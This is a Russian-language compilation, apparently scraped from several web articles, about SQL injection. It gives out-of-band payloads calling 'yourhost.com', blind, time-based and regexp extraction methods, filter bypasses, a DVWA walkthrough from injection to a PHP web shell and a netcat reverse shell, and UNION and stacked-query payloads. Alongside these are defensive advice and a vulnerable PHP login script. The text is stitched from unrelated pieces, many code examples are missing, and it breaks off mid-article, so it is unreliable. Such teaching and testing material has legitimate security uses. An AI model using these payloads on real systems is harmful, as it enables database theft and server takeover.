?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(()||’.yourhost.com’) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(()||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
— ваш запрос.

Этот материал является адаптивным переводом статьи SQL Injection Cheat Sheet.

SQL-инъекция в Peel

Существует несколько типов SQL инъекций:

  • Классическая SQL Injection — простая и легкая в эксплуатации. Позволяет злоумышленнику атаковать БД и сразу видеть результат атаки. В последнее время встречается нечасто.
  • Error-based SQL Injection — чуть более сложный и затратный по времени тип атаки, позволяющий, на основе выводимых ошибок СУБД, получить информацию о всей БД и хранящиеся в ней данные. Эксплуатируется, если кто-то в спешке забыл отключить вывод ошибок.
  • Boolean-based SQL Injection — одна из «слепых» инъекций. Суть атаки сводится к добавлению специального подзапроса в уязвимый параметр, на который БД будет отвечать либо True, либо, неожиданно, False. Атака не позволяет сразу вывести все данные БД «на экран» злоумышленнику, но позволяет, перебирая параметры раз за разом, получить содержимое БД, хотя для этого потребуется временной отрезок соизмеримый с содержимым БД .
  • Time-based SQL Injection — следующая из «слепых» инъекций. В данном случае злоумышленник добавляет подзапрос, приводящий к замедлению или паузе работы БД при некоторых условиях. Таким образом, атакующий, сравнивая время ответа на «True» и на «False» запросы, символ за символом может получить все содержимое БД, но времени уйдет на это больше, чем в случае эксплуатации Boolean-based атаки.
  • Out-of-band SQL Injection — редкий тип. Атака может быть успешна только при определенных обстоятельствах, например, если сервер БД может генерировать DNS- или HTTP-запросы, что встречается нечасто. Также, как и Blind SQL, позволяет посимвольно собирать информацию о хранящихся там данных.

Information Security Squad

Описание

Cлепая SQL инъекция используется, когда веб-приложение уязвимо для SQL-инъекции, но результаты инъекции не видны злоумышленнику.

Страница с уязвимостью может быть не той, которая отображает данные, но будет отображаться по-разному в зависимости от результатов логического оператора, вызываемого для этой страницы.

Этот тип атаки может стать трудоемким, потому что для каждого восстановленного бита необходимо создать новый оператор.

Как использовать Слепую SQL инъекцию?

Существует несколько вариантов использования Blind SQL Injection:

Проверка уязвимости;
Поиск имени таблицы;
Экспорт значения;

Все методы основаны на «атаке предположения», потому что у нас есть только два разных ввода:

Примеры атаки

Тестирование уязвимости (MySQL — MSSQL):

Начнем с простого примера. У нас есть этот тип URL:

это приведет к такому типу запросов в базе данных:

Теперь мы можем попробовать некоторые методы SQL инъекции, например, слепую sql инъекцию:

Запрос SQL теперь:

В этом случае запрос ничего не возвращает (FALSE), потому что 1 отличается от 0;

Давайте проведем тест лакмусовой бумажки: попытайтесь получить инструкцию TRUE, заставляющую AND быть TRUE;

В этом случае 0 равен 0 … Получилось!

Теперь мы должны увидеть исходную страницу новостей. Теперь мы знаем, что сайт уязвим для инъекций Sql.

Атака на время(MySQL)

Когда вы не видите никаких результатов, вы должны использовать атаку по времени.

В этом примере мы попытаемся получить пароль пользователя root в MySQL (если у вас есть привилегии root в MySQL).

Функция BENCHMARK используется для спящего режима в течение нескольких секунд.

Синтаксис: BENCHMARK (сколько раз, что делать). Когда вы используете его в IF-операторе, вы сможете атаковать время в MySQL;

И так далее, пока вы не увидите, как работает BENCHMARK (задержка нескольких секунд).

Теперь приступим ко второму слову — паролю …

Атака на время (MSSQL)

В этом примере мы попытаемся получить имя пользователя таблицы sysusers.

Простым способом генерации временных задержек является использование одной из самых больших проблем с базой данных, которые потребовали разработки методов настройки производительности; тяжелых запросов .

Все, что вам нужно для создания временной задержки, — это доступ к таблице с некоторыми регистрами и построению хорошего запроса, чтобы заставить движок работать.

Другими словами, нам нужно создать запрос, не обращая внимания на то, что советуют рекомендации по эффективности.

(Этот метод был придуман Chema Alonso, Microsoft Security MVP)

Условие TRUE, и ответ имеет задержку 14 секунд. Мы действительно знаем, что значение ASCII первого имени пользователя в таблице sysusers меньше 300.

Задержка ответа в течение одной секунды.

Мы действительно знаем, что значение ASCII первого имени пользователя в таблице sysusers выше 0.

И так далее для всех возможностей:


И наконец, мы дойдем таким образом до финального запроса:

Методика атаки Regexp

С этим методом вы можете сэкономить много времени и пропускной способности!

Методология довольно проста: мы определяем диапазон чисел /символов/пространственных символов, которые будут сопоставляться с функциями REGEXP (MySQL) или LIKE (MSSQL).

Начнем с примера, чтобы проще понять.

Поиск имени таблицы с помощью атаки Regexp (MySQL)

В этом примере мы выберем первую согласованную запись information_schema.tables, вы должны знать имя базы данных!

Мы протестировали атаку слепой sql-инъекции, и если мы увидим правильную страницу, все будет в порядке.

В этом случае мы знаем, что первая совпадающая запись начинается с символа между [a -> z].

Этот пример покажет вам, как извлечь полное имя записи:

Первая буква таблицы — «n». Но есть ли другие таблицы, начинающиеся с «n»?

Давайте изменим предел на 1,1:

Нет, больше нет таблиц, начинающихся с «n». С этого момента мы должны изменить регулярное выражение следующим образом:

‘^n[a-z]’ -> ‘^ne[a-z]’ -> ‘^new[a-z]’ -> ‘^news[a-z]’ -> FALSE

Чтобы проверить, нашли ли мы правильное имя таблицы, мы должны проверить что-то вроде этого:

Поиск имени таблицы с помощью атаки Regexp (MSSQL)

Для MSSQL синтаксис немного сложнее.

Существует два ограничения: LIMIT и REGEXP отсутствуют.

Чтобы обойти это, мы должны использовать функции TOP и LIKE.

SELECT TOP используется для извлечения первой записи x из таблицы information_schema. В MSSQL функция LIKE аналогична функции REGEXP в MySQL, но синтаксис не равен.

Дополнительные сведения о функциях LIKE см. В http://msdn.microsoft.com/enus/library/ms179859.aspx.

Когда вам нужно захватить второе имя таблицы, вы должны использовать «table_name NOT IN (SELECT TOP x table_name FROM information_schema.tables)», как в приведенном ниже примере:

Второй SELECT TOP используется для исключения строки X и извлечения X + 1.
Как и в примере MySQL, мы показываем, как изменить выражение LIKE, чтобы извлечь первую строку: ‘n [az]%’ -> ‘ne [az]%’ -> ‘new [az]%’ -> ‘news [ az]% ‘-> TRUE

В противном случае окончание MySQL имеет TRUE, потому что’% ‘определяет любую строку из нуля или более символов.

Чтобы проверить конец, мы должны добавить «_» и проверить, существует ли другой символ. ‘News%’ TRUE -> ‘news_’ FALSE.

Экспорт значения с помощью атаки Regexp (MySQL)

В этом примере мы извлечем хеш MD5 из имени знаковой таблицы (в данном случае «пользователи»);

Помните: MD5 может ТОЛЬКО содержать значения [a-f0-9].

Мы будем использовать ту же методологию, описанную в «Поиск имени таблицы».

Наш хеш начинается с «5» всего за 6 попыток!

Экспорт значения с помощью атаки Regex (MSSQL)

То же самое, что и в MySQL, и «поиска имени таблицы».

Теперь мы продолжаем поиск второго символа.

Мы обнаружили, что наш второй символ — «f» всего за 5 попыток! (Это также худший случай для брутфорса)

Временные соображения

Возьмем, к примеру, блок MD5.

Мы должны экспортировать хэш из 32 символов, используя слепую инъекцию.

Вы знаете, что есть только 16 символов для проверки (1234567890abcdef);

В оптимистическом случае регулярной и нормальной слепой инъекции нужно выполнить 32 запроса;

В худшем случае для регулярного выражения требуется 128 запросов, а обычная слепая- 512 запросов;

Возьмем теперь пароль.

Мы должны экспортировать 15 символов паролей mixalpha-numericspecial14.

Вы знаете, что есть 76 символов для проверки (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789! @ # $% ^ & * () -_ + =);

В оптимистическом случае регулярной и нормальной слепой атаки нужно выполнить 15 запросов;

В худшем случае для регулярного выражения требуется около 94 запросов, а нормальный слепой — запрос 1140;

Обход фильтров

Ниже приведены примеры общих обходных фильтров.

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

Обычно «AND» используются для ввода какой-либо строки. Таким образом, вы можете ввести HEX
значение:

Где 0x61646d696e — это шестнадцатеричное значение ‘admin’ Или также с использованием функции CHAR:

Как использовать SQL-инъекции для выполнения команд ОС и для получения шелла

Одной из основных целей почти любого взлома является получение шелла (доступа к командной строке) для выполнения системных команд и в итоге овладение целевым компьютером или сетью. SQL-инъекции обычно ассоциируются только с базами данных и теми данными, которые в них содержатся, но на самом деле их можно применять в том числе для получения шелла. В этом уроке мы будем использовать SQL-инъекцию при эксплуатации простой уязвимости для получения возможности выполнения команд, в результате чего получим обратный шелл на сервере.

Для выполнения атаки мы будем использовать Kali Linux и специально созданную виртуальную машину с уязвимостями — DVWA. Если вы новичок в Kali, то рекомендуем проработать наше руководство по настройке и обеспечению безопасности в Kali, чтобы быть уверенным, что ваша система готова к выполнению задач данной статьи.

Обзор SQL-инъекций

SQL-инъекция является одной из самых распространенных уязвимостей в Сети, а также одной из самых опасных. Злоумышленники могут внедрить вредоносный SQL-код, чтобы, например, извлечь конфиденциальную информацию, изменить или уничтожить какие-нибудь данные или упростить проведение своей атаки при попытке завладеть сервером.

Существует много разных типов SQL-инъекций и разнообразных методов атаки для различных систем баз данных, которые используются на тех или иных серверах. Несмотря на то, что этот тип атак является одним из самых простых для начинающих, на мастерское овладение навыком использования и внедрения SQL-инъекций может уйти несколько лет. К счастью, есть довольно много хороших материалов, с помощью которых можно обучиться этому.

Шаг 1. Перечисление целей

Первое, что нужно сделать, это залогиниться в DVWA, используя дефолтные учетные данные: «admin» в качестве имени пользователя и «password» в качестве пароля.

Перейдите на вкладку «Безопасность» («Security») слева и установите уровень безопасности на «низкий» («Low»). Это гарантирует, что наша небольшая демонстрация пройдет без сучка без задоринки.

Теперь, чтобы начать атаку, перейдите на страницу «SQL-инъекция» («SQL Injection»). Здесь мы видим, что функциональность страницы заключается в том, чтобы взять идентификатор пользователя (User ID) и вернуть информацию, в данном случае его имя и фамилию.

Нужно убедиться, что это поле ввода действительно уязвимо для SQL-инъекций. И первое, что нужно попробовать, это просто ввести одинарную кавычку, которая преждевременно закроет SQL-инструкцию, если это поле действительно уязвимо. Когда мы это сделаем, то увидим ошибку, как на скриншоте ниже, которая даже сообщает о том, что в качестве базы данных он использует MySQL. На данный момент очень высока вероятность того, что мы нашли уязвимую точку входа.


Следующее, что нам нужно сделать, это перечислить содержание базы данных и определить количество используемых столбцов. Это позволит нам использовать уязвимость с помощью инъекции UNION-запросов. Чтобы сделать это более наглядным, давайте посмотрим на то, как будет выглядеть SQL-запрос во время обычной отправки пользователем своих данных:

Скорее всего, этот запрос на бэкенде выглядит именно так, причем first_name и surname являются столбцами в базе данных, всего два столбца. Но мы должны знать наверняка, какие столбцы есть в этой базе данных, иначе ничего работать не будет. Для этого мы можем использовать инструкцию order by.

Эта инструкция сортирует результаты SQL-запроса по столбцам. Поскольку мы уверены, что используются по крайней мере два столбца, то если мы упорядочим результат выдачи по 1-му или 2-му столбцу, запрос должен выполниться успешно. Но что, если мы хотим провести сортировку по 3-му столбцу? Если мы правы, то такой запрос должен привести к ошибке.

Отправьте следующую инъекцию через это поле ввода, и она должна привести к ошибке. Знак решетки (#) здесь используется, чтобы закомментировать оставшуюся часть SQL-запроса, чтобы он не выдавал никаких дополнительных синтаксических ошибок.

И мы действительно получаем ошибку, поэтому теперь точно знаем, что используются только два столбца.

Шаг 2. Получение доступа к командной строке и выполнение команд

Теперь, когда у нас есть немного больше информации о базе данных, мы можем использовать ее для выполнения SQL-инъекций на основе UNION-запросов. Оператор UNION используется в языке SQL для объединения результатов (как это следует из его названия) двух или более операторов SELECT. Но для правильной работы операторы должны иметь одинаковое количество столбцов. Вот почему нам нужно было выяснить, сколько столбцов имеется в базе данных.

Есть довольно много вещей, которые мы можем сделать с помощью инъекций на основе UNION-запросов, но в этом уроке мы рассмотрим использование этой уязвимости только для запуска команд ОС. Один из самых простых способов это сделать — загрузить простой PHP-шелл, через который можно транслировать наши команды.

Для загрузки шелла нужно определить корневой каталог веб-сервера. В зависимости от приложения и типа используемого веб-сервера расположение корневой директории может варьироваться, особенно если администратор поменял ее расположение или на нее установлены специальные права. В целях демонстрационного урока мы будем предполагать, что на сервере используется корневая директория сервера Apache, по умолчанию /var/www/, с публичными правами на запись. Информацию о веб-сервере, включая корневую директорию, как правило, можно найти в файле «phpinfo.php».

Для записи в файл мы можем использовать команду into outfile. И в данном случае мы вставим простой PHP-скрипт, который сможет запускать системные команды. Скрипт, который мы по счастливому совпадению назовем «cmd.php», должен выглядеть следующим образом:

Теперь давайте выполним инъекцию. В PHP-скрипте нам нужно использовать двойные кавычки, поскольку этот блок кода нужно будет включить во вторую часть SQL-инструкции, которая использует одинарные кавычки — это позволит избежать синтаксических ошибок. Полная SQL-инъекция будет выглядеть следующим образом:

Если это сработало, как и задумано, то мы теперь сможем получить доступ к нашему шеллу через URL, указав системную команду в качестве параметра. Например, команда whoami предоставит нам информацию о текущем пользователе:

Или команда uname -a, которая даст нам информацию о системе:

Но передача всех этих команд через параметры URL — довольно неудобная и утомительная процедура. На самом деле нам нужно использовать этот способ только один раз, чтобы получить обратный шелл, а затем двигаться дальше.

Шаг 3. Обратный шелл с помощью Netcat

Netcat — мощная сетевая утилита, используемая для устранения проблем с подключением, но на самом деле она может применяться хакерами в качестве бэкдора и способа получения шелла. Во многих дистрибутивах Linux эта утилита установлена по умолчанию, поэтому если мы сможем получить доступ, то игра закончена.

Первым делом нам нужно установить «слушателя» на наш локальный компьютер. Используйте команду nc вместе с флагами -lvp. Эти флаги указывают nc прослушивать (l — listen), выдавать подробное описание событий (v — verbose) и конкретный номер порта (p — port) соответственно.

Далее, в качестве параметра нашего PHP-шелла в URL-адресе введите следующую команду. Она сообщает серверу выполнить оболочку (-e /bin/sh) и отправить ее обратно на нашу локальную машину. Убедитесь, что вы используете правильный IP-адрес и порт.

Подождите несколько секунд, и вы увидите, как наш «слушатель» поймает шелл и откроет соединение. Отсюда мы сможем запускать такие команды, как id, uname -a и ps.

Теперь у нас есть подходящие средства, чтобы выполнять команды на веб-сервере не выходя из нашего собственного терминала. И все это с помощью простой уязвимости к SQL-инъекции.

Заключение

Из этой статьи мы узнали, как определить уязвимую точку для использования SQL-инъекции, перечислили внутреннее строение базы данных и смогли использовать эту информацию для загрузки простого PHP-шелла для запуска команд в целевой системе. Оттуда мы еще больше усилили нашу атаку, используя программу Netcat. С ее помощью мы получили обратный шелл, который открыл нам «черный ход» к веб-серверу. Это наглядно демонстрирует, что при достаточном терпении, креативности и небольшой удаче хакер сможет использовать в своих интересах даже небольшие уязвимости и превратить их во что-то более мощное.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.

SQL инъекция

Инъекция SQL (англ . SQL injection — «SQL -вторжение») — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например , прочитать содержимое любых таблиц, удалить, изменить или добавить данные) , получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.
Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.

Разработчик прикладных программ, работающих с базами данных, должен знать о таких уязвимостях и принимать меры противодействия инъекции SQL.

Принцип атаки инъекции SQL

Допустим, серверное ПО, получив входной параметр id, использует его для создания SQL-запроса. Рассмотрим следующий PHP-скрипт:

Если на сервер передан параметр > (например так: http://example.org/script.php? >

Но если злоумышленник передаст в качестве параметра > (например , так: http://example.org/script.php? >

Таким образом, изменение входных параметров путём добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо новости с заданным идентификатором будут выбраны все имеющиеся в базе новости, поскольку выражение 1=1 всегда истинно).

Внедрение в строковые параметры

Предположим, серверное ПО, получив запрос на поиск данных в новостях параметром search_text, использует его в следующем SQL-запросе (здесь параметры экранируются кавычками):

Сделав запрос вида http://example.org/script.php?search_text=Test

Но, внедрив в параметр search_text символ кавычки (который используется в запросе) , мы можем кардинально изменить поведение SQL-запроса. Например, передав в качестве параметра search_text значение ‘) + and + (news_id_author =’1, мы вызовем к выполнению запрос:

Использование UNION

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION

. Это предоставляет злоумышленнику возможность получить несанкционированный доступ к данным.

Рассмотрим скрипт отображения новости ( идентификатор новости, которую необходимо отобразить, передается в параметре id):

Если злоумышленник передаст в качестве параметра id конструкцию -1 UNION SELECT 1,username,password,1 FROM admin, это вызовет выполнение SQL-запроса

Так как новости с идентификатором -1 заведомо не существует, из таблицы news не будет выбрано ни одной записи, однако в результат попадут записи, несанкционированно отобранные из таблицы admin в результате инъекции SQL.

Экранирование хвоста запроса

Зачастую, SQL-запрос, подверженный инъекции, имеет структуру, усложняющую или препятствующую использованию union. Например скрипт

отображает имя автора новости по передаваемому идентификатору id только при условии, что имя начинается с буквы а, и инъекция с использованием UNION затруднительна.

В таких случаях, злоумышленниками используется метод экранирования части запроса при помощи символов комментария ( /* или в зависимости от типа СУБД).

В данном примере, злоумышленник может передать в скрипт параметр id со значением -1 UNION SELECT password FROM admin/*, выполнив таким образом запрос

в котором часть запроса ( AND author LIKE ( ‘a %’) ) помечена как комментарий и не влияет на выполнение.

Расщепление SQL-запроса

Для разделения команд в языке SQL используется символ ; ( точка с запятой) , внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе, однако не все диалекты SQL поддерживают такую возможность.

Например, если в параметры скрипта

злоумышленником передается конструкция, содержащая точку с запятой, например 12;INSERT INTO admin (username , password) VALUES ( ‘HaCkEr’, ‘foo’) ; то в одном запросе будут выполнены 2 команды

и в таблицу admin будет несанкционированно добавлена запись HaCkEr.

Методика атак инъекций SQL

Поиск скриптов, уязвимых для атаки

На данном этапе злоумышленником изучается поведение скриптов сервера при манипуляции входными параметрами с целью обнаружения их аномального поведения. Манипуляция происходит всеми возможными параметрами:

  • Данными передаваемыми через методы POST и GET
  • Значениями [HTTP-Cookie]
  • HTTP_REFERER (для скриптов)
  • AUTH_USER и AUTH_PASSWORD (при использовании аутентификации)

Как правило, манипуляция сводится к подстановке в параметры символа одинарной (реже двойной или обратной) кавычки.

Аномальным поведением считается любое поведение, при котором страницы, получаемые до и после подстановки кавычек, различаются (и при этом не выведена страница о неверном формате параметров).

Наиболее частые примеры аномального поведения:

  • выводится сообщение о различных ошибках;
  • при запросе данных (например , новости или списка продукции) запрашиваемые данные не выводятся вообще, хотя страница отображается


и т. д. Следует учитывать, что известны случаи, когда сообщения об ошибках, в силу специфики разметки страницы, не отображаются в браузере, хотя и присутствуют в её HTML-коде.

Анализ инъекции

После того как выявлены скрипты, подверженные инъекции, начинается анализ, в результате которого будут выявлены:

  • примерный вид SQL-запроса, в котором происходит инъекция;
  • тип используемой СУБД, а также, возможно, версия СУБД.

Для определения типа СУБД в инъекцию подставляются SQL-конструкции, специфические для разных СУБД.

Конструкция MySQL MS SQL Oracle MS Access PostgreSQL Sybase IBM DB2 Ingres
Комментирование остатка строки /* … — … — … Коментирование возможно лишь внедрением в запрос NULL-байта: %00… — … — … — … — …
Получение версии version ( ) @@version select banner from v$version @@version select versionnumber from sysibm.sysversions dbmsinfo ( ‘_version’)
Конкатенация строк concat (string1 ,string2) string1 + string2 string1IIstring2 string1 + string2 string1ΙΙstring2 или string1 concat string2 string1ΙΙstring2

Защита от атак инъекции SQL

Для защиты от инъекции SQL необходимо тщательно фильтровать входные параметры, значения которых будут использованы для построения SQL-запроса.

Фильтрация строковых параметров

Предположим, что код, генерирующий запрос (на языке программирования Паскаль) , выглядит так:

Чтобы инъекция была невозможна, требуется брать в кавычки все строковые параметры. В само́м параметре заменяют кавычки на \», апостроф на \’, обратную косую черту на \\ (это называется «экранировать спецсимволы“). Это можно делать таким кодом:

Фильтрация целочисленных параметров

Возьмём другой запрос:

В данном случае поле id имеет числовой тип, и его нельзя брать в кавычки. Поэтому „закавычивание“ и замена спецсимволов на escape-последовательности не проходит. В таком случае помогает проверка типа; если переменная id не является числом, запрос вообще не должен выполняться.

Например, на Delphi для противодействия таким инъекциям помогает код:

В случае ошибки функция StrToInt возбудит исключение EConvertError , и в его обработчике можно будет вывести сообщение об ошибке. Двойная конверсия (из числа в строку и обратно) , выполняющаяся в первом фрагменте явно и во втором неявно, обеспечивает корректную реакцию на числа в формате $132AB (шестнадцатеричная система счисления). На стандартном Паскале, не умеющем обрабатывать исключения, код несколько сложнее.

Усечение входных параметров

Для внесения изменений в логику выполнения SQL-запроса требуется внедрение достаточно длинных строк. Так, минимальная длина внедряемой строки в вышеприведённых примерах составляет 8 символов ( „1 OR 1=1“). Если максимальная длина корректного значения параметра невелика, то одним из методов защиты может быть максимальное усечение значений входных параметров.

Например, если известно, что поле id в вышеприведённых примерах может принимать значения не более 9999, можно „отрезать лишние“ символы, оставив не более четырёх:

Использование параметризованных запросов

Многие сервера баз данных поддерживают возможность отправки параметризованных запросов. При этом параметры внешнего происхождения отправляются на сервер отдельно от самого запроса либо автоматически экранируются клиентской библиотекой. Для этого используются

  • на Delphi — свойство TQuery.Params ;
  • на Perl — через DBI::quote или DBI::prepare ;
  • на Java — через класс PreparedStatement ;
  • на C# — свойство SqlCommand.Parameters ;
  • на PHP (при работе с MySQL) — функции mysql_escape_string, mysql_real_escape_string, addslashes .
  • на Parser — язык сам предотвращает атаки подобного рода.

22.08.2008, 12078 просмотров.

Помни!

Основная цель веб-сайта — донести до пользователя информацию и оставить благоприятное впечатление. Хороший сайт — удобен, легок, эстетичен и предоставляет всю необходимую информацию по своей тематике. Поэтому у хорошего веб-сайта должен быть хороший дизайн, хорошая навигация, современные технологии web и хорошая структура информации. подробнее.

Лабораторная работа №1 «SQL-инъекции»

Атака может быть реализована против любой СУБД, поддерживающей SQL: MySQL, PostgreSQL, Oracle и т.д.

Далее рассмотрим ряд уязвимостей, приводящих к возможности реализации SQL-инъекции.

Некорректная обработка входных параметров

В случае, когда входные данные некорректно или недостаточно фильтруются, они могут содержать служебные символы и SQL-код. Вследствие этого злоумышленник может передать специально сформированную строку, которая будет подставлена в запрос к БД.

Пример уязвимого кода на PHP: Этот код получает значение параметра username, переданное пользователем. Затем это значение непосредственно используется для запроса к БД без какой-либо дополнительной обработки.

Для реализации SQL-инъекции в данном случае достаточно передать в качестве username следующую строку: ‘ OR ‘1’ = ‘1 . При этом выражение в условии запроса примет вид: username = » OR ‘1’ = ‘1’ . Очевидно, что оно всегда верно, поскольку всегда верно выражение ‘1’ = ‘1’ . Таким образом, запрос вернёт все строки из таблицы users.

Простейшей проверкой на недостаточную фильтрацию входных параметров служит подстановке символа одинарной (реже двойной или обратной) кавычки. Если входные данные обрабатываются некорректно, то такая подстановка гарантированно приведёт к ошибке, поскольку не будет обнаружено закрывающей кавычки. Аномальным поведением считается такое, при котором страницы, получаемые до и после подстановки кавычек, различаются, если при этом не получена страница с информацией о неверном формате параметров.

Несанкционированный доступ к данным

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это позволяют злоумышленнику получить несанкционированный доступ к данным в таблицах, не используемых в исходном запросе.

Приведённый выше код предназначен для отображения новости с заданным id из таблицы news.

Если передать в качестве id строку -1 UNION ALL SELECT username, password, NULL FROM users , то запрос не вернёт ни одной строки из таблицы news, поскольку строки с идентификатором -1 заведомо не существует. При этом посредством оператора UNION будут выбраны все строки из таблицы users.

Для успешного внедрения оператора UNION количество столбцов в выборках должно совпадать. Если количество столбцов в первой (исходной) выборке больше, то вторую необходимо дополнить соответствующим количеством констант (например, NULL).

Слепая SQL-инъекция

SQL-инъекция называется слепой (англ. blind SQL injection) в том случае, когда результат выполнения запроса недоступен злоумышленнику. При этом уязвимый веб-сайт по-разному реагирует на различные логические выражения, подставляемые в уязвимый параметр. Таким образом, злоумышленник может подобрать значения некоторых параметров (версия СУБД, текущее имя и права пользователя и т. д.), подставляя в запрос соответствующие логические выражения.

Рассмотрим следующий код: Его задача — вывести описание товара из таблицы catalog по указанному id. В случае, если товара с заданным id не существует, будет выведено соответствующее сообшение.

Если в качестве id передать строку 1 AND 1 = 1 , то условие запроса не изменится, поскольку выражение 1 = 1 всегда истинно. Если товар с id равным 1 существует, то в ответ будет получена страница с его описанием. Если затем в качестве id передать строку 1 AND 1 = 2 с заведомо ложным условием, то будет получено сообщение о том, что запрошенный товар не существует. Таким образом, можно подобрать значения некоторых параметров БД, например, условие SUBSTR(@@version, 1, 1) = 5 будет верным только если версия СУБД равна 5.

Особенности реализации SQL-инъекций

Иногда злоумышленник может провести атаку, но не может видеть более одной колонки результатов. В таком случае можно объединить несколько строк в одну при помощи конкатенации:

В некоторых случаях запрос, подверженный SQL-инъекции, имеет структуру, усложняющую или препятствующую внедрению операторов SQL. Например, следующий код: выбирает строки с указанным идентификатором author_id, сортирует их по дате и выводит 20 первых записей. Простая подстановка оператора UNION вместо author_id приведёт к ошибке из-за оставшейся части запроса: ORDER BY date DESC LIMIT 20 . В этом случае часть запроса необходимо экранировать при помощи символов комментария (--, /* или # в зависимости от СУБД). Часть строки, отделённая этими символами, будет проигнорирована и запрос успешно выполнится.

При этом важно помнить, что все скобки и кавычки должны быть закрыты, чтобы не вызывать ошибок при выполнении запроса. Если часть запроса экранируется, то соответствующие символы нужно передавать в явном виде.

Для разделения команд в языке SQL используется символ ; (точка с запятой). Внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе. Это позволяет выполнять операции, отличные от применяемых в исходном запросе, например, вставлять, изменять или удалять строки. Передав в качестве id строку -1; INSERT INTO users(username, password) VALUES (‘foo’, ‘bar’) , злоумышленник может несанкционированно вставить новую строку в таблицу users.

Предотвращение SQL-инъекций

Наиболее общими способами предотвращения SQL-инъекций являются фильтрация, экранирование и проверка всех входных данных. В языке PHP для этого могут применяться такие функции, как addslashes() и mysql_real_escape_string().

addslashes() экранирует специальные символы, добавляя к ним символ \ (обратный слэш). Таким образом, символ ' заменяется на \', " — на \" и т.д. Это позволяет избежать внедрения SQL-кода только в том случае, когда экранируемая строка в запросе заключена в кавычки.

mysql_real_escape_string() работает аналогично addslashes(), но учитывает особенности диалекта MySQL, экранируя некоторые дополнительные символы. Как и addslashes(), она работает только в случае, когда экранируемая строка заключена в кавычки.

Кроме того, в языке PHP существует ряд функций, позволяющих привести значение параметра к определённому типу. Например, функции intval() и floatval() позволяют преобразовать переменную к целому числу и числу с плавающей запятой соответственно. Это делает невозможным подстановку произвольных строк в запрос к БД.

Защита от SQL инъекций

Здравствуйте уважаемые читатели блога LifeExample, рад вновь приступить к написанию полезных статей на тему php программирования, после двухнедельного перерыва. Сегодня я бы хотел рассказать о нужном в практике механизме защиты от SQL инъекций. Все сайты на сегодняшний момент интерактивны, и имеют формы ввода информации для взаимодействия с пользователями. Примерами являются: поля ввода логина и пароля для авторизации, поля для отправки текстовых сообщений через форму обратной связи, и др.

Если существует поле ввода, значит, обрабатывающий скрипт на сервере ждет от пользователя какую-то информацию. Обработав ее, он совершает запрограммированные действия, в случае с авторизацией, пользователь получает доступ к закрытым частям сайта.

Что случится если передать серверу заведомо ложную информацию?

В лучшем случае, если в алгоритме работы php скрипта заложена соответствующая проверка, то информация будет отсеяна и пользователь уведомлен о не корректном вводе. Казалось бы, все хорошо, но пользователь может оказаться злоумышленником, и намеренно отправлять через поля ввода данные в виде кусочков SQL запросов. Такое действие получило название SQL инъекция.

Другими словами SQL инъекцией можно назвать намеренное действие пользователя направленное на внедрение любого SQL запроса в логику работы скрипта.


Наверное, начинающему php программисту пока не понятно как можно заставить программу выполнить собственный SQL запрос через поле ввода, поэтому я хочу наглядно продемонстрировать пример SQL инъекции в php.

Пример SQL инъекции

В данном примере будет фигурировать:

  • Готовый скрипт аутентификации пользователя.
  • Готовая база данных.

Итак, скачайте скрипт и дамп таблицы пользователей. В скрипте в настройках подключения к БД укажите собственные параметры, если забыли как это делать читайте статью о работе с базой данных.

Наш php скрипт, подготовленный для тестирования взлома сайта, проверяет соответствие логина и пароля из формы с базой данных. Если пара логин и пароль верная, то выводит сообщение TRUE, в противном случае FALSE. Такую форму можно встретить на большинстве сайтов интернета, где вместо TRUE и FALSE пользователь будет получать какие либо права.
Код скрипта выглядит таким образом:

mysql_select_db ( ‘testwp’ , mysql_connect ( ‘localhost’ , ‘root’ , » ) ) ; //
if ( $_GET [ «login» ] && $_GET [ «pass» ] ) <
$login = $_GET [ «login» ] ;
$pass = $_GET [ «pass» ] ;
$sql = «SELECT * FROM `user` WHERE `login`=’ $login ‘ AND `password`=’ $pass ‘» ;
$result = mysql_query ( $sql ) or die ( mysql_error ( ) ) ;
if ( mysql_num_rows ( $result ) ) echo «TRUE» ;
else echo «FALSE» ;
>
?>

Методы и способы взломов сайта. Что такое SQL инъекции и что делать если сайт взломали?

А вы уверены, что ваш сайт находится в безопасности? 45% веб-ресурсов крупнейших российских компаний имеют критические уязвимости. Прочитав эту статью, вы сможете провести базовую проверку своего веб-сайта на наличие SQL инъекций.

Представляю вам краткий математический обзор: исходя из этих базовых понятий считают математические риски (классы гостайны разделены именно по этим принципам).

Как же это относиться к защите вашего сайта, думаете вы? А вот как: мы с вами прекрасно знаем, что абсолютно нулевой вероятности не существует (т.е. хоть и маленькой вероятностью, но прямо сейчас из монитора может вылезти джин и выполнить 3 ваших желания).

К чему я это говорю? К тому, что точно так же, нет системы которую невозможно взломать, вопрос лишь в ресурсах. И если подходить к делу профессионально, необходимо оценить возможный ущерб от несанкционированного доступа и принять меры, соответствующие вашему ущербу.

Да, мы можем поставить TrueCrypt, зашифровать наши данные и пароли. Настроить двойную аутентификацию и хранить винчестер с этим всем в бункере, защищенном от прямого ядерного удара, но если у нас там всего лишь пароль от “Контакта”, то возможный ущерб несопоставим с нашими средствами защиты (если, конечно, вы не храните во “ВКонтакте” доступы от ваших миллионных счетов в банке).

Теперь, я хочу вам донести информацию об основных уязвимостях веб-сайтов.

Основные методы и взлома сайтов (уязвимости)

